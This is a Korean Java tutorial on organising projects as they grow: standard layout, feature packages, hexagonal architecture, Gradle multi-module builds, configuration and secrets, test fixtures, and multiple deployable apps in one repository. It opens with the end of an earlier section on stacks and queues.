후위 순회(자식 먼저)상태 플래그를 같이 넣거나 스택 두 개 — 전위보다 까다롭습니다
방문 순서를 재귀와 똑같이 맞추려면 자식을 거꾸로 push 해야 합니다(스택은 마지막에 넣은 것이 먼저 나오니까). Java 21 의 children.reversed() 뷰가 인덱스 루프를 대신합니다. 작은 트리로 두 결과가 [1, 2, 4, 5, 3] 으로 같은지 확인했습니다.
가상 스레드도 스택 깊이 한계가 있습니다. 깊은 재귀는 가상 스레드에서도 StackOverflowError 입니다.

⑥ 한눈에 — 사례별 타입 고르기 🟢 기초

사례타입핵심 한 줄
작업 큐 (스레드 간)ArrayBlockingQueue(n) + 독약유한 + 소비자 수만큼 독약 (SQ 06)
최근 N개ArrayDeque + 크기 검사pollFirst 후 addLast, 내보낼 땐 복사
이벤트 버퍼ArrayBlockingQueue + drainTooffer 로 막지 않고, 묶어서 쓰기
레이트 리미터ArrayDeque<Long> (작은 limit)앞에서 만료, 뒤에서 기록
재시도DelayQueue · ScheduledExecutorService지수 백오프 + jitter, 영속성 필요하면 DB
스케줄러 · 타이머PriorityQueue (실행 시각 순) · ScheduledThreadPoolExecutor직접 만들기보다 표준 실행기
깊은 트리 순회ArrayDeque 스택자식은 거꾸로 push
undo / redoArrayDeque 두 개깊이 제한은 removeLast (SQ 08)
정리 — 실무의 스택·큐는 작은 부품입니다. 단일 스레드는 ArrayDeque, 스레드 간은 유한 BlockingQueue, 시간이 끼면 DelayQueue — 그리고 잃으면 안 되는 것은 메모리 큐에 두지 않습니다.
JAVA 25 LTS · SPRING BOOT 4.1 · GRADLE 9 · 멀티 모듈 · build-logic · ArchUnit · Spring Modulith

구조는
규모를 따라
한 칸씩 자란다

파일이 스무 개일 때는 아무렇게나 둬도 찾을 수 있습니다. 문제는 파일이 삼백 개, 사람이 다섯 명, 실행 파일이 세 개가 될 때입니다. 이 탭은 자바 프로젝트를 어떤 폴더·패키지·모듈로 나누는지, 그리고 언제 다음 단계로 넘어가야 하는지를 짧게 정리합니다. Maven 표준 레이아웃에서 시작해 Spring Boot 기능별 패키지, Gradle 멀티 모듈과 build-logic, 테스트 픽스처 공유, JavaFX 앱과 라이브러리 구조까지 보고, 마지막에 구조 규칙을 ArchUnit 테스트로 강제하는 법으로 끝냅니다. 순수 자바 예제(package-private 경계, JPMS exports)는 JDK 25.0.1 에서 직접 컴파일해 오류 메시지를 옮겼습니다.

10SECTIONS
10시각화
4규모 단계
1장짜리 요약표
STR 01

왜 구조인가 — 표준 레이아웃과 규모별 진화

구조는 "그 코드 어디 있어요?"를 아무도 묻지 않게 만드는 약속입니다. 자바는 Maven 이 정한 표준 디렉터리 레이아웃을 Gradle 도 그대로 따르기 때문에, 처음 보는 저장소도 같은 자리에서 시작합니다. Initializr 가 만든 폴더 하나하나의 뜻은 설치 탭 ST 09 에 있으니, 여기서는 왜 그렇게 나뉘는지와 커지면 어떻게 바뀌는지만 봅니다.

표준 레이아웃 — 모듈 하나일 때

shop/
├─ settings.gradle.kts         # 프로젝트 이름 · (나중에) 모듈 목록
├─ build.gradle.kts            # 플러그인 · 의존성
├─ gradle/libs.versions.toml   # 버전을 한곳에 (STR 04)
├─ src/
│  ├─ main/
│  │  ├─ java/com/example/shop/   # 운영 코드 — 폴더 = 패키지
│  │  └─ resources/               # yml · 로그 설정 · SQL · 정적 파일
│  └─ test/
│     ├─ java/com/example/shop/   # 같은 패키지 이름으로 테스트
│     └─ resources/               # 테스트 전용 설정
└─ build/                      # 산출물 (Maven 은 target/) — 커밋 금지

규칙 네 가지

규칙이유
패키지 = 역도메인
com.example.shop
전 세계에서 이름이 겹치지 않게 하는 자바 관례(JLS §6.1). 소문자만, 하이픈은 못 씁니다
폴더 경로 = 패키지javac 는 강제하지 않지만 Gradle·Maven·IDE 가 전부 이걸 전제로 찾습니다
테스트도 같은 패키지폴더는 달라도 패키지가 같으면 package-private 클래스를 테스트할 수 있습니다
resources 는 jar 루트로src/main/resources/application.yml → jar 안 /application.yml → classpath: 로 읽힘
레이아웃을 바꾸지 마세요 — sourceSets { main { java.srcDirs("src") } } 처럼 바꿀 수는 있지만, 새로 온 사람·플러그인·CI 스크립트가 전부 표준 경로를 가정합니다. 얻는 것이 없습니다.
프로젝트가 자라는 길 — 위는 구조, 아래는 넘어갈 때의 신호 단일 패키지 파일 20개 · 1명 com.example.shop 기능별 패키지 파일 50~300개 · 2~6명 order/ · member/ · … 멀티 모듈 실행 jar 2개 이상 app-api · core-domain 서비스 분리 팀 · 배포 주기가 갈라짐 저장소 · DB 따로 1단계 2단계 3단계 4단계 Initializr 그대로 한 폴더 파일 30개+ 스크롤로 찾기 시작 빌드 3분+ · 앱 2개 경계를 컴파일러로 배포를 서로 기다림 따로 늘려야 함 대부분의 사내 서비스는 여기까지로 충분합니다 단계를 건너뛰면 비용만 먼저 냅니다 — 신호가 보일 때 한 칸씩
구조는 처음에 정하는 것이 아니라 신호가 올 때 한 칸씩 옮기는 것입니다.

다음 단계로 넘어가는 신호 🟢 기초

지금이런 일이 생기면다음 단계
단일 패키지한 폴더에 파일 30개 이상 · 같은 이름 접두사(Order…)가 10개 넘게 몰림기능별 패키지 (STR 02)
기능별 패키지배치·워커 같은 두 번째 실행 파일이 필요 · 빌드 3분 이상 · "이 패키지는 저 패키지를 쓰면 안 된다"는 말이 리뷰마다 나옴멀티 모듈 (STR 04 · 07)
멀티 모듈팀 둘이 같은 배포 열차를 기다림 · 한 기능만 10배로 늘려야 함 · DB 를 나눠야 함서비스 분리 (확장 탭)
❌ 첫날부터 4단계
shop-order-service/     # 저장소 1
shop-member-service/    # 저장소 2
shop-common-lib/        # 저장소 3 — 버전 맞추기 지옥
# 엔티티 6개짜리 서비스에 저장소 3개 · 배포 파이프라인 3개
✅ 지금 크기에 맞게
shop/                   # 저장소 1 · 모듈 1
└─ src/main/java/com/example/shop/
   ├─ order/            # 기능별 패키지 (2단계)
   └─ member/
# 배치가 생기면 그때 멀티 모듈로 쪼갭니다
정리 — 표준 레이아웃은 바꾸지 말고, 패키지 → 모듈 → 서비스 순서로 신호가 왔을 때만 한 칸씩 넘어갑니다.
STR 02

Spring Boot — 계층별 패키지 vs 기능별 패키지

부트 탭 BOOT 02 에서 "도메인(기능)으로 묶으라"고 권했습니다. 이 섹션은 그 이유와, 기능별로 묶은 뒤 package-private 으로 경계를 만드는 법을 실제 컴파일 결과로 보여 줍니다.

계층별 (package by layer)

com/example/shop/
├─ controller/   OrderController · MemberController · …
├─ service/      OrderService · MemberService · …
├─ repository/   OrderRepository · MemberRepository · …
├─ dto/          주문·회원 DTO 가 한 폴더에 섞임
└─ entity/       Order · Member · …
# 모든 클래스가 public 이어야 서로 부를 수 있음

기능별 (package by feature)

com/example/shop/
├─ ShopApplication.java   # 최상위 — 컴포넌트 스캔 기준점
├─ order/                 # 주문에 관한 것은 전부 여기
│  ├─ OrderController.java      (package-private)
│  ├─ OrderService.java         (public — 다른 기능의 입구)
│  ├─ OrderRepository.java      (package-private)
│  ├─ Order.java · OrderStatus.java
│  └─ CancelOrderRequest.java
├─ member/
└─ common/                # 정말 공통인 것만 (예외 · 설정)
주문 취소 기능을 추가할 때 손대는 폴더 계층별 패키지 기능별 패키지 controller/OrderController ✎ service/OrderService ✎ repository/OrderRepository ✎ dto/CancelOrderRequest (새 파일) order/ OrderController · OrderService OrderRepository · CancelOrderRequest 열어 둔 폴더 하나에서 끝 왼쪽은 폴더 4개를 오갑니다 — 기능이 20개면 폴더마다 파일 20개 이상 오른쪽은 기능을 지울 때도 폴더 하나만 지우면 됩니다
함께 바뀌는 것을 함께 둡니다 — 변경 하나가 폴더 하나에서 끝나는 쪽이 기능별입니다.

package-private 으로 경계 만들기 🟡 중급

입구만 public, 나머지는 숨김

// order/OrderService.java
package com.shop.order;

public class OrderService {                 // 공개 — 다른 기능이 부르는 입구
    private final OrderRepository repo = new OrderRepository();

    public long place(String item) {
        return repo.save(item);
    }
}

// order/OrderRepository.java
package com.shop.order;

class OrderRepository {                     // public 없음 = 같은 패키지만
    private long seq = 0;
    long save(String item) { return ++seq; }
}

// member/MemberService.java — 다른 기능의 내부를 쓰려 하면
package com.shop.member;

import com.shop.order.OrderRepository;      // 3행

public class MemberService {
    void cheat() { new OrderRepository(); }
}
$ javac -d out $(find src -name '*.java')     # JDK 25.0.1 실측
...MemberService.java:3: error: OrderRepository is not public in
  com.shop.order; cannot be accessed from outside package
...MemberService.java:6: error: (같은 오류 — new 하는 줄)
2 errors

스프링에서도 그대로 됩니다

  • 컴포넌트 스캔은 public 을 요구하지 않습니다 — @Controller·@Component 클래스를 package-private 으로 둬도 빈이 됩니다.
  • Spring Data 리포지토리 인터페이스도 package-private 으로 둘 수 있습니다 — 다른 기능이 남의 테이블을 직접 조회하는 길이 닫힙니다.
  • 예제처럼 new 로 만든 것은 설명용이고, 실제로는 생성자 주입입니다(BOOT 03).
하위 패키지를 만들면 경계가 사라집니다 — 자바의 package-private 은 정확히 같은 패키지만 봅니다. order/web/, order/domain/ 으로 쪼개는 순간 서로 부르려면 public 이 필요하고, 그때부터 경계는 컴파일러가 아니라 ArchUnit(STR 10) 이 지켜야 합니다.
언제권장
엔티티 5개 이하 · 학습용계층별도 괜찮습니다 — 한눈에 다 보입니다
기능이 늘어나는 서비스기능별 — 기능 안에서는 평평하게(하위 폴더 없이)
한 기능이 파일 15개 넘음그 기능만 하위 패키지 + ArchUnit, 또는 STR 03
❌ 기능별처럼 보이지만 전부 public + 잡동사니 폴더
order/   (모든 클래스 public — member 가 OrderRepository 를 직접 씀)
common/util/  OrderUtils · MemberHelper · DateUtil2 …
# common 이 모든 기능에 의존하는 순간 순환이 생깁니다
✅ 입구 하나 + 진짜 공통만
order/   public 은 OrderService · 이벤트 · DTO 뿐
member/  order 가 필요하면 OrderService 로만
common/  예외 · 설정 · 기능 이름이 안 들어간 것만
# 규칙: common 은 기능 패키지를 import 하지 않는다
정리 — 기능별로 묶고 기능 안은 평평하게, 다른 기능이 쓸 입구만 public 으로 둡니다. package-private 은 공짜 경계입니다.
STR 03

헥사고날 · 클린을 과하지 않게

포트·어댑터의 원리, 도메인과 JPA 엔티티를 나누는 코드, 도메인이 스프링을 모르게 하는 ArchUnit 규칙은 깊이 탭 DEEP 16 에 있습니다. 여기서는 폴더 모양과 어디까지만 적용할지만 다룹니다.

복잡한 기능만 포트 · 어댑터로

com/example/shop/
├─ order/                       # 결제 · 재고 · 외부 PG 가 얽힌 기능
│  ├─ domain/                   # Order · Money · 규칙 — 스프링 import 0
│  ├─ application/              # PlaceOrderService (유스케이스 · 트랜잭션)
│  │  └─ port/out/              # PaymentPort · StockPort (인터페이스)
│  └─ adapter/
│     ├─ in/web/                # OrderController
│     └─ out/
│        ├─ persistence/        # JPA 엔티티 · 리포지토리 구현
│        └─ pg/                 # PgPaymentAdapter (외부 HTTP)
├─ member/                      # 단순 CRUD — STR 02 처럼 평평하게
└─ notice/                      # 단순 CRUD

포트는 "바깥 시스템"에만

// order/application/port/out/PaymentPort.java
// 외부 PG 는 바뀔 수 있고 테스트에서 가짜가 필요 → 포트를 둡니다
public interface PaymentPort {
    PaymentResult pay(long orderId, long amount);
}

// order/adapter/out/pg/PgPaymentAdapter.java
@Component
class PgPaymentAdapter implements PaymentPort {   // 어댑터는 숨김
    private final RestClient pg;
    PgPaymentAdapter(RestClient.Builder builder) {
        this.pg = builder.baseUrl("https://pg.example.com").build();
    }
    @Override
    public PaymentResult pay(long orderId, long amount) {
        return pg.post().uri("/payments")
                 .body(new PayRequest(orderId, amount))
                 .retrieve().body(PaymentResult.class);
    }
}
DB 리포지토리에까지 포트를 둘지는 팀의 선택입니다. Spring Data 인터페이스가 이미 추상화라서, 작은 팀은 OrderRepository extends JpaRepository 를 응용 계층이 직접 쓰는 타협을 많이 합니다.
안쪽일수록 오래 살아남습니다 — 의존은 언제나 안쪽으로 도메인 유스케이스 어댑터 프레임워크 Spring MVC · JPA · Kafka 클라이언트 — 버전이 올라가면 바뀌는 바깥 OrderController · PgPaymentAdapter — 기술을 바꾸면 여기만 고칩니다 PlaceOrderService · PaymentPort — 트랜잭션 경계 · 흐름 조립 Order.cancel() · Money · 규칙 — 스프링 · JPA import 0개 비용: 유스케이스 하나에 파일 6~8개 · 도메인 ↔ JPA 엔티티 매핑 코드 CRUD 기능에 이 원을 그리면 바깥 세 겹이 빈 껍데기가 됩니다
헥사고날의 값은 안쪽 원이 두꺼울 때만 나옵니다. 규칙이 없는 기능엔 원이 필요 없습니다.
비교기능별 평평 (STR 02)포트 · 어댑터
기능 하나의 파일 수3~5개 (컨트롤러 · 서비스 · 리포지토리 · 엔티티 · DTO)7~10개 (+ 포트 · 어댑터 · JPA 엔티티 · 매퍼)
도메인 단위 테스트엔티티에 JPA 애너테이션이 붙어 있어도 가능은 함순수 자바 — 스프링 컨텍스트 없이 밀리초
입구가 여러 개 (REST · Kafka · 배치)서비스를 그대로 재사용 — 대개 충분유스케이스 재사용이 명시적
외부 시스템 교체서비스 코드 여기저기를 고침어댑터 하나만 교체
어울리는 곳CRUD · 관리자 화면 · 작은 서비스결제 · 정산 · 주문처럼 규칙과 외부 연동이 많은 핵심 기능
과해지는 신호 — ① 구현이 하나뿐이고 바뀔 계획도 없는 인터페이스가 절반 이상 ② OrderUseCase 인터페이스와 OrderService 구현이 1:1 로만 존재 ③ 매퍼가 필드를 그대로 옮기기만 함. 셋 다면 그 기능은 STR 02 의 평평한 구조로 되돌려도 잃는 것이 없습니다.
정리 — 헥사고날은 프로젝트 전체가 아니라 기능 단위로 고릅니다. 포트는 바깥 시스템에만, 나머지는 기능별 평평 구조로 둡니다.
STR 04

멀티 모듈 Gradle — settings · 의존 방향 · build-logic · 버전 카탈로그

패키지 경계는 사람이 지키지만 모듈 경계는 컴파일러가 지킵니다. 의존을 선언하지 않은 모듈의 클래스는 import 자체가 안 되기 때문입니다. Gradle 기본 문법(스코프 · 의존성 충돌)은 도구 탭 TOOL 10 에 있고, 여기서는 모듈을 어떻게 나누고 어떻게 묶어 관리하는지를 봅니다.

폴더 모양

shop/
├─ settings.gradle.kts          # 모듈 목록 · build-logic 연결
├─ build.gradle.kts             # 거의 비어 있음
├─ gradle/libs.versions.toml    # 버전 카탈로그 — 버전은 여기에만
├─ build-logic/                 # 공통 빌드 설정 (convention plugin)
│  ├─ settings.gradle.kts
│  ├─ build.gradle.kts          # plugins { `kotlin-dsl` }
│  └─ src/main/kotlin/
│     └─ shop.java-conventions.gradle.kts
├─ common/          # 예외 · 시간 · ID — 아무것도 의존하지 않음
├─ core-domain/     # 엔티티 · 규칙 · 포트 인터페이스
├─ infra-db/        # JPA 구현 — core-domain 의 포트를 구현
├─ app-api/         # 실행 jar ① REST
└─ app-batch/       # 실행 jar ② 배치
// settings.gradle.kts
pluginManagement {
    includeBuild("build-logic")          // convention plugin 을 플러그인처럼 씀
}
dependencyResolutionManagement {
    repositories { mavenCentral() }      // 저장소는 여기 한 곳에서만
}
rootProject.name = "shop"
include("common", "core-domain", "infra-db", "app-api", "app-batch")

// build.gradle.kts (루트) — 플러그인 버전만 한 번 등록
plugins {
    alias(libs.plugins.spring.boot) apply false
}

버전 카탈로그 — gradle/libs.versions.toml

[versions]
spring-boot = "4.1.0"
archunit    = "1.4.1"

[libraries]
spring-boot-dependencies = { module = "org.springframework.boot:spring-boot-dependencies", version.ref = "spring-boot" }
# BOM 이 버전을 정하므로 아래는 버전 없이
spring-boot-starter-webmvc   = { module = "org.springframework.boot:spring-boot-starter-webmvc" }
spring-boot-starter-data-jpa = { module = "org.springframework.boot:spring-boot-starter-data-jpa" }
spring-boot-starter-test     = { module = "org.springframework.boot:spring-boot-starter-test" }
archunit-junit5 = { module = "com.tngtech.archunit:archunit-junit5", version.ref = "archunit" }

[plugins]
spring-boot = { id = "org.springframework.boot", version.ref = "spring-boot" }

build-logic — 모든 모듈의 공통 설정을 플러그인 하나로

// build-logic/settings.gradle.kts
dependencyResolutionManagement {
    repositories { gradlePluginPortal(); mavenCentral() }
    versionCatalogs { create("libs") { from(files("../gradle/libs.versions.toml")) } }
}
rootProject.name = "build-logic"

// build-logic/src/main/kotlin/shop.java-conventions.gradle.kts
plugins { java }

java { toolchain { languageVersion = JavaLanguageVersion.of(25) } }

val libs = the<VersionCatalogsExtension>().named("libs")
dependencies {
    // 모든 모듈이 같은 Boot BOM 으로 버전을 맞춥니다 (Boot 플러그인이 없는 모듈도)
    implementation(platform(libs.findLibrary("spring-boot-dependencies").get()))
    testImplementation(libs.findLibrary("spring-boot-starter-test").get())
    testRuntimeOnly("org.junit.platform:junit-platform-launcher")
}
tasks.withType<JavaCompile>().configureEach {
    options.compilerArgs.add("-parameters")   // Boot 플러그인 없는 모듈도 파라미터 이름 유지
}
tasks.withType<Test>().configureEach { useJUnitPlatform() }
모듈 의존 그래프 — 화살표는 "의존한다", 점선은 runtimeOnly runtimeOnly — 컴파일 때는 안 보임 app-api app-batch core-domain 규칙 · 포트 infra-db common ✗ 앱끼리 금지 ✗ core-domain → infra-db (도메인이 DB 를 알게 됨) · ✗ common → 다른 모듈 화살표가 모두 core-domain 쪽으로 모이면 건강한 구조입니다
모듈 그래프의 규칙은 하나 — 안정적인 쪽(core-domain)으로만 화살표가 향한다.

실행 모듈 — app-api/build.gradle.kts

plugins {
    id("shop.java-conventions")          // build-logic 의 공통 설정
    alias(libs.plugins.spring.boot)      // bootJar 는 실행 모듈에만
}
dependencies {
    implementation(project(":core-domain"))
    runtimeOnly(project(":infra-db"))    // ★ 컨트롤러가 JPA 리포지토리를 import 할 수 없음
    implementation(libs.spring.boot.starter.webmvc)
}

// infra-db/build.gradle.kts — Boot 플러그인 없음 (일반 jar)
plugins { id("shop.java-conventions") }
dependencies {
    implementation(project(":core-domain"))
    implementation(libs.spring.boot.starter.data.jpa)
}

자주 걸리는 함정 세 가지

① Application 클래스 위치 — 부트는 @SpringBootApplication 이 있는 패키지 아래만 스캔하고 JPA 리포지토리·엔티티도 그 기준으로 찾습니다. com.shop.api.ApiApplication 이면 com.shop.infra 의 리포지토리를 못 찾습니다. → 실행 모듈의 Application 은 공통 최상위 패키지 com.shop 에 둡니다.
② 라이브러리 모듈에 Boot 플러그인 — bootJar 가 생기고 일반 jar 가 꺼져 다른 모듈이 의존할 수 없게 됩니다. Boot 플러그인은 실행 모듈에만.
③ 루트 build.gradle.kts 의 subprojects { } — 예전 방식입니다. 모듈이 무엇을 받는지 그 모듈 파일만 봐서는 알 수 없고 구성 캐시와도 잘 안 맞습니다. Gradle 공식 문서도 convention plugin(build-logic) 을 권합니다.
모듈의존해도 되는 것금지
commonJDK 만다른 모든 모듈 — 아래로 가장 많이 깔리는 모듈이라 바뀌면 전부 다시 빌드
core-domaincommoninfra-* · app-* · spring-boot-starter-webmvc
infra-dbcore-domain · common · JPAapp-* · 다른 infra-*
app-*core-domain · common · infra-* (가능하면 runtimeOnly)다른 app-* — 공유할 것이 있으면 core 로 내립니다
정리 — 모듈은 의존 화살표가 core-domain 으로만 모이게 나누고, 공통 설정은 build-logic 의 convention plugin, 버전은 libs.versions.toml 한 곳에 둡니다. (Maven 이면 부모 POM 의 <modules> 와 <dependencyManagement> 가 같은 역할입니다.)
STR 05

설정 · 리소스 구조 — 프로필 · 프로퍼티 클래스 · 시크릿

설정 파일은 코드보다 환경마다 다르게 바뀌는 것을 담습니다. 그래서 "공통 기본값 + 환경별 차이"로 나누고, 비밀번호는 저장소 밖에서 들어오게 하는 것이 구조의 전부입니다.

리소스 폴더

app-api/src/main/resources/
├─ application.yml            # 모든 환경 공통 기본값
├─ application-local.yml      # 내 PC — H2 · SQL 로그
├─ application-prod.yml       # 운영과의 "차이"만 · 비밀번호 없음
├─ log4j2-spring.xml          # 로그 설정 (TOOL 02) — -spring 접미사
├─ db/migration/V1__init.sql  # Flyway 마이그레이션
├─ static/ · templates/       # 정적 파일 · 서버 렌더링 템플릿
└─ META-INF/additional-spring-configuration-metadata.json
app-api/src/test/resources/
└─ application-test.yml       # 테스트 전용
config/                       # 운영 서버의 jar 옆 — 저장소에 없음
└─ application-prod.yml       # 운영자가 재빌드 없이 덮어씀
라이브러리 모듈에 application.yml 을 두지 마세요 — 클래스패스에 같은 이름이 둘이면 하나만 읽히고 나머지는 조용히 무시됩니다. 모듈 기본값은 infra-db.yml 처럼 다른 이름으로 두고 실행 모듈에서 spring.config.import: classpath:infra-db.yml 로 가져옵니다.

@ConfigurationProperties 는 쓰는 기능 옆에

// order/PaymentProperties.java — 주문 기능만 쓰므로 order 패키지에
@ConfigurationProperties("shop.payment")
public record PaymentProperties(URI baseUrl, Duration timeout, int maxRetries) {}

// ShopApplication.java — 최상위에서 한 번만 스캔 등록
@SpringBootApplication
@ConfigurationPropertiesScan
public class ShopApplication {
    public static void main(String[] args) {
        SpringApplication.run(ShopApplication.class, args);
    }
}
# application.yml — 공통 기본값
shop:
  payment:
    base-url: https://pg-sandbox.example.com
    timeout: 3s
    max-retries: 2
spring:
  datasource:
    url: jdbc:mysql://localhost:3306/shop
    username: shop
    password: ${DB_PASSWORD}        # 값은 환경 변수로 — 저장소엔 이름만

# application-prod.yml — 운영 차이만
shop:
  payment:
    base-url: https://pg.example.com
여러 기능이 같이 쓰는 설정(예: 공통 HTTP 타임아웃)만 common/config/ 로 올립니다. config/ 패키지에 프로퍼티 클래스 50개를 모아 두면 계층별 패키지와 같은 문제가 생깁니다.
같은 키가 여러 곳에 있으면 — 위가 이깁니다 명령행 인수 --spring.profiles.active=prod 환경 변수 DB_PASSWORD · 비밀은 여기로 jar 밖 ./config/*.yml 운영자가 재빌드 없이 덮어씀 jar 안 application-prod.yml 프로필별 차이만 jar 안 application.yml 공통 기본값 — 저장소에 있는 것 우선 순위 시스템 속성(-D) 등 몇 단계는 생략 — 전체 순서는 부트 문서 Externalized Configuration
저장소에는 아래 두 칸만 들어갑니다. 위 세 칸은 배포 환경이 채웁니다.
❌ 비밀번호가 저장소에
# application-prod.yml (커밋됨)
spring:
  datasource:
    password: Sh0p!2026      # git 히스토리에 영원히 남습니다
✅ 이름만 저장소에, 값은 밖에서
spring:
  config:
    import: "optional:configtree:/run/secrets/"   # K8s · Docker 시크릿 파일
  datasource:
    password: ${DB_PASSWORD}                      # 또는 환경 변수
정리 — application.yml 은 공통 기본값, application-{profile}.yml 은 차이만, 비밀은 환경 변수·시크릿 파일로. 프로퍼티 클래스는 쓰는 기능 패키지 옆에 둡니다.
STR 06

테스트 구조 — 단위 · 슬라이스 · 통합과 testFixtures

테스트 폴더는 운영 코드의 패키지를 거울처럼 따라갑니다. 멀티 모듈이 되면 새 문제가 하나 생깁니다 — 테스트용 데이터 빌더와 Testcontainers 설정을 모듈끼리 어떻게 나눠 쓰나. 답은 Gradle 의 java-test-fixtures 플러그인입니다. 도구 자체(JUnit · Mockito · Testcontainers 코드)는 도구 탭 TOOL 09 · TOOL 12 에 있습니다.

어떤 테스트를 어느 모듈에

core-domain/src/test/java/com/shop/order/
└─ OrderTest.java               # 단위 — 스프링 없음 · 가장 많이
infra-db/
├─ src/test/java/com/shop/infra/
│  └─ OrderJpaRepositoryTest.java   # @DataJpaTest + 진짜 DB
└─ src/testFixtures/java/com/shop/infra/
   ├─ ContainerConfig.java      # @ServiceConnection 컨테이너 (TOOL 12)
   └─ OrderFixtures.java        # 테스트용 주문 만들기
app-api/src/test/java/com/shop/order/
├─ OrderControllerTest.java     # @WebMvcTest — 컨트롤러만
└─ OrderFlowIT.java             # @SpringBootTest — 앱 전체 (적게)
종류뜨는 것둘 곳
단위없음 — new 로 만듦그 클래스가 있는 모듈 · 같은 패키지
@WebMvcTestMVC · 지정 컨트롤러 · JSONapp-api
@DataJpaTestJPA · 리포지토리 · DataSourceinfra-db
@SpringBootTest앱 전체실행 모듈에만 (Application 이 거기 있음)

testFixtures — 테스트 도우미를 모듈 사이에 공유

// infra-db/build.gradle.kts
plugins {
    id("shop.java-conventions")
    `java-test-fixtures`                 // src/testFixtures/java 가 생깁니다
}
dependencies {
    implementation(project(":core-domain"))
    implementation(libs.spring.boot.starter.data.jpa)
    // 픽스처가 쓰는 것 — 사용하는 쪽에도 전달되도록 Api
    testFixturesApi(platform(libs.spring.boot.dependencies))
    testFixturesApi(libs.spring.boot.testcontainers)
    testFixturesApi(libs.testcontainers.mysql)
}

// app-api/build.gradle.kts — 가져다 쓰는 쪽
dependencies {
    testImplementation(testFixtures(project(":infra-db")))
}
// infra-db/src/testFixtures/java/com/shop/infra/OrderFixtures.java
public final class OrderFixtures {
    private OrderFixtures() {}
    public static Order paidOrder(long amount) {   // 여러 모듈의 테스트가 같은 방식으로 만듦
        Order o = Order.create(1L, amount);
        o.markPaid();
        return o;
    }
}

// app-api 의 통합 테스트 — 컨테이너 설정을 복사하지 않고 가져옴
@SpringBootTest
@Import(ContainerConfig.class)
class OrderFlowIT { /* ... */ }
카탈로그의 libs.spring.boot.testcontainers · libs.testcontainers.mysql 는 별칭입니다. Testcontainers 1.x 와 2.x 는 모듈 artifact 이름이 다르니, 실제 좌표는 카탈로그 한 곳에서만 관리합니다.
모듈별 테스트 피라미드 — 숫자는 예시, 비율이 핵심입니다 통합 20개 @SpringBootTest + 컨테이너 수십 초 · 실행 모듈에만 슬라이스 150개 @WebMvcTest · @DataJpaTest 수 초 · 그 계층만 뜸 단위 1,500개 src/test · 같은 패키지 밀리초 · core-domain 에 가장 많이 느림 빠름 core-domain 이 스프링을 모르면 아래층이 넓어집니다 — 구조가 테스트 속도를 정합니다 위층 설정(컨테이너)은 testFixtures 로 한 번만 만들어 나눠 씁니다
모듈 구조가 좋으면 테스트 피라미드가 저절로 아래가 넓어집니다.

통합 테스트를 따로 돌리기 🟡 중급

// app-api/build.gradle.kts — JVM Test Suite 로 src/integrationTest/java 를 분리
testing {
    suites {
        register<JvmTestSuite>("integrationTest") {
            dependencies {
                implementation(project())
                implementation(platform(libs.spring.boot.dependencies))
                implementation(libs.spring.boot.starter.test)
                implementation(testFixtures(project(":infra-db")))
            }
            targets.all {
                testTask.configure { shouldRunAfter(tasks.named("test")) }
            }
        }
    }
}
tasks.named("check") { dependsOn(testing.suites.named("integrationTest")) }
  • ./gradlew test — 단위 · 슬라이스만, 개발 중 수시로 (수 초)
  • ./gradlew integrationTest — 컨테이너가 뜨는 것만
  • ./gradlew check — 둘 다, CI 에서
작은 프로젝트는 분리하지 않고 src/test 하나에 두고, 통합 테스트 이름을 *IT 로 끝내는 것만으로도 충분합니다. 분리는 통합 테스트 때문에 test 가 1분을 넘을 때 합니다. Boot 4 부터는 슬라이스 애너테이션이 기술별 테스트 스타터(예: spring-boot-starter-webmvc-test)로 나뉘었으니 모듈마다 필요한 것만 넣습니다.
정리 — 테스트는 운영 패키지를 거울처럼, 그 코드가 사는 모듈에 둡니다. 모듈 사이에 나눠 쓸 빌더·컨테이너 설정은 testFixtures 로 한 번만 만듭니다.
STR 07

한 저장소에 API · 배치 · 워커

실무 자바 서비스는 HTTP API 하나로 끝나지 않습니다. 밤에 도는 정산 배치, Kafka 메시지를 처리하는 워커가 붙습니다. 셋이 같은 도메인 규칙을 쓰면 한 저장소의 실행 모듈 셋으로, 규칙이 다르면 저장소를 나눕니다. 서비스를 나눌지 말지(MSA)는 확장 탭의 몫이고 여기서는 한 저장소 안의 모양만 봅니다.

실행 모듈 셋 + 공유 모듈

shop/
├─ settings.gradle.kts
├─ build-logic/
├─ apps/                         # 실행 모듈 = bootJar = 배포 단위
│  ├─ api/      → shop-api.jar      HTTP · 상시 3대
│  ├─ batch/    → shop-batch.jar    스케줄러가 밤에 1회 실행
│  └─ worker/   → shop-worker.jar   Kafka 컨슈머 · 2대
└─ modules/                      # 공유 모듈 = 일반 jar
   ├─ core-domain/
   ├─ infra-db/
   ├─ infra-kafka/
   └─ common/
// settings.gradle.kts — 폴더가 깊어도 경로 그대로
include(":apps:api", ":apps:batch", ":apps:worker")
include(":modules:core-domain", ":modules:infra-db",
        ":modules:infra-kafka", ":modules:common")

// apps/batch/build.gradle.kts
plugins {
    id("shop.java-conventions")
    alias(libs.plugins.spring.boot)
}
dependencies {
    implementation(project(":modules:core-domain"))
    runtimeOnly(project(":modules:infra-db"))
}
tasks.bootJar { archiveFileName = "shop-batch.jar" }

웹 서버가 필요 없는 앱

# apps/worker/src/main/resources/application.yml
spring:
  main:
    web-application-type: none   # 톰캣을 띄우지 않음 — 포트 충돌 · 메모리 절약
  application:
    name: shop-worker
규칙이유
실행 모듈 1개 = jar 1개 = 배포 단위 1개"무엇을 배포하나"가 폴더 이름으로 보입니다
실행 모듈끼리 의존 금지api 가 batch 를 의존하면 배치 클래스가 API 서버에 실려 갑니다
스키마 마이그레이션은 한 곳Flyway 는 하나의 앱(보통 api)이나 별도 migration 작업이 소유 — 셋이 동시에 돌리면 경합
CI 는 바뀐 앱만./gradlew :apps:api:bootJar — 다만 core 가 바뀌면 셋 다 대상
가운데를 모두가 씁니다 — 바뀌면 모두가 움직입니다 core-domain 규칙 · 포트 api batch worker infra-db kafka common shop-api.jar shop-batch.jar shop-worker.jar 실행 모듈 3개 = jar 3개 = 배포 단위 3개 — core 를 바꾸면 셋 다 재배포
초록 셋이 배포 단위, 붉은 가운데가 공유 비용입니다.

모노레포냐 멀티 레포냐 🟡 중급

기준한 저장소 (모노레포)저장소 여러 개
도메인 규칙 공유소스 그대로 — 한 커밋으로 셋 다 고침공유 라이브러리를 배포 · 버전 올리기 · 셋 다 업그레이드
배포앱별로 따로 가능 (bootJar 가 따로)당연히 따로
빌드 시간커질수록 늘어남 — 빌드 캐시 · --configuration-cache 로 대응각자 짧음
팀 경계CODEOWNERS 로 폴더별 리뷰어 지정저장소 권한으로 자연스럽게
